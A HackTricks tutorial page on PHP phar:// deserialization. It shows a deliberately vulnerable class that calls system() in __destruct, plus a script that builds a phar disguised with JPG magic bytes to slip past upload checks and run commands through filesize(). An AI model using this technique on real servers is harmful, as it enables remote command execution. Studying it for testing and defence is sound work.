phar:// deserialization

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Register - IntigritiRegister - Intigriti

Phar files (PHP Archive) files contain meta data in serialized format, so, when parsed, this metadata is deserialized and you can try to abuse a deserialization vulnerability inside the PHP code.

The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize().

So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the phar:// protocol, and inside the code you find a class similar to the following one:

vunl.php

<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

filesize("phar://test.phar"); #The attacker can control this path

You can create a phar file that when loaded will abuse this class to execute arbitrary commands with something like:

create_phar.php

<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Note how the magic bytes of JPG (\xff\xd8\xff) are added at the beginning of the phar file to bypass possible file uploads restrictions. Compile the test.phar file with:

php --define phar.readonly=0 create_phar.php

And execute the whoami command abusing the vulnerable code with:

php vuln.php

References

Sonar BlogsSonarSource

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Register - IntigritiRegister - Intigriti

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.